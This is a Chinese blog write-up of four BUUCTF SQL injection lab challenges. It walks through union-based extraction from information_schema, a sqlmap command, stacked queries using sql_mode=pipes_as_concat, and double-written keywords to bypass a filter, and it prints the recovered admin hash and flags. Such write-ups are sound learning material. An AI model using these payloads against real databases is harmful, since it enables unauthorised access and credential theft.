当前位置:网站首页>web-sql注入
web-sql注入
2022-08-08 14:55:00 【吉计小菜鸡】
BUU SQL COURSE 1
找了一圈也没找到注入点,一开始以为是在登录框,一顿操作发现什么也没有
(然后去搜了一下wp…)
在network那找到注入点
访问一下?id=1 and 1=1
和id=1 and 1=2
测试一下被执行了,可以在这注
order by查字段数有2个字段
查显错位?id=-1 union select 111,222
查库名,把其中一个显错位换成database()
看到库名是news,然而并不一定只有一个库,还是用sqlmap把所有库都爆出来python sqlmap.py -u "http://816528be-67a3-481a-8c1e-6260dcab0f8d.node4.buuoj.cn:81/backend/content_detail.php?id=-1" --dbs
–dbs:查询所有数据库
当然也可以手工注入获取所有库名,用mysql的函数group_concat()
连接所有字段(库名),把所有库名连接成一个字段在一个显错位上输出?id=-1 union select 111,group_concat(schema_name) from information_schema.schemata
,就是行转列,把所有相同的行连接
(之前写的出了点问题,重新写了一些,靶机不一样了)
结果与sqlmap得到的一样
再用 --tables
查表
除了mysql自带的就是这些
看了一下字段
结合这个题目,应该是admin表中的password和username
然后就可以直接查询得到?id=-1 union select 111,concat(username," ",password) from admin
{“title”:“111”,“content”:“admin 789ff02d88ae2745271ff3ea379de13a”}
flag{7fa1f656-2ac1-4316-92d5-c01abf699ad9}
[极客大挑战 2019]EasySQL
先试一下万能密码(不知道是什么闭合,先写个看看
就万能密码,没了()
[SUCTF 2019]EasySQL
emmmmmm…这啥(bushi
用堆叠注入123;show databases;
堆叠注入:将语句堆叠到一起查询,(就是用分号分隔可以执行多条sql语句),这里执行完123之后又执行了show databases,不过有条件限制,php中mysqli_multi_query()函数可以使用,其他的函数可能会被限制
继续123;show tables;
继续123;show columns from Flag;
这里就不行了
看了wp,写那份wp看了别人的wp,
根据输入数字返回1 输入0和字母返回0,大佬猜想执行方式是select $_POST[query]||flag from Flag
这里的或,如果前一个操作数为真就不会考虑后面的
可以通过补充系统变量@@sql_modesql_mode(一组mysql支持的基本语法及校验规则)
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符
于是就可以123;set sql_mode=pipes_as_concat;select 1
(这里123太长了
也可以用*,1
,*被过滤了(并不很明白后面那个1
[极客大挑战 2019]BabySQL
这次是加了过滤的
先试一下上次的
不行了
看看过滤了什么
这里被执行了,说明可以双写绕过
发现这样绕过不行,不过这里只过滤了or,可以用or和order拼
还要注释掉后面的闭合
现在显示正常了
order by 4 时报错,有3个字段
union select看一下显错位1' ununionion seselectlect 111,222,333 -- ww3
库名geek1' ununionion seselectlect 111,222,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()) -- ww3
表名'b4bsql,geekuser'
推测在geekuser里(然而并不在)1' ununionion seselectlect 111,222,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql') -- ww3
(selselectect group_concat(username," : ",passwoorrd) frfromom b4bsql)
(password里面也有个or。。。
//用group_concat会方便很多()
边栏推荐
猜你喜欢
随机推荐
基于接口而非实现编程
分布式服务治理
Introduction to Recurrent Neural Network (RNN)
【小码匠自习室】朋友的朋友不是朋友
面试官:Redis 大 key 要如何处理?
看三年的CRUD程序员如何解决数据库死锁的
1
JS-BOM-for,if(字符串转大小写)
shell三剑客-----sed命令
MySQL中UNION和UNION ALL的区别
JS-Bom-while (calculate leap year)
LeetCode Daily Question 2022/8/1-2022/8/7
兆骑科创创业赛事活动举办平台,投融资对接,线上直播路演
30K成功入职京东:拿到京东offer经验分享「面试经历+面试真题」
bandanas Kerchief头巾是何含义?
18、学习MySQL ALTER命令
Chat with wine and chat, build an asynchronous non-blocking (aioredis) real-time (websocket) communication chat system based on Vue3.0+Tornado6.1+Redis publish-subscribe (pubsub) mode
JS Adder (DOM)
手把手教你设计一个全局异常处理器
JS-BOM-for, if (string to case)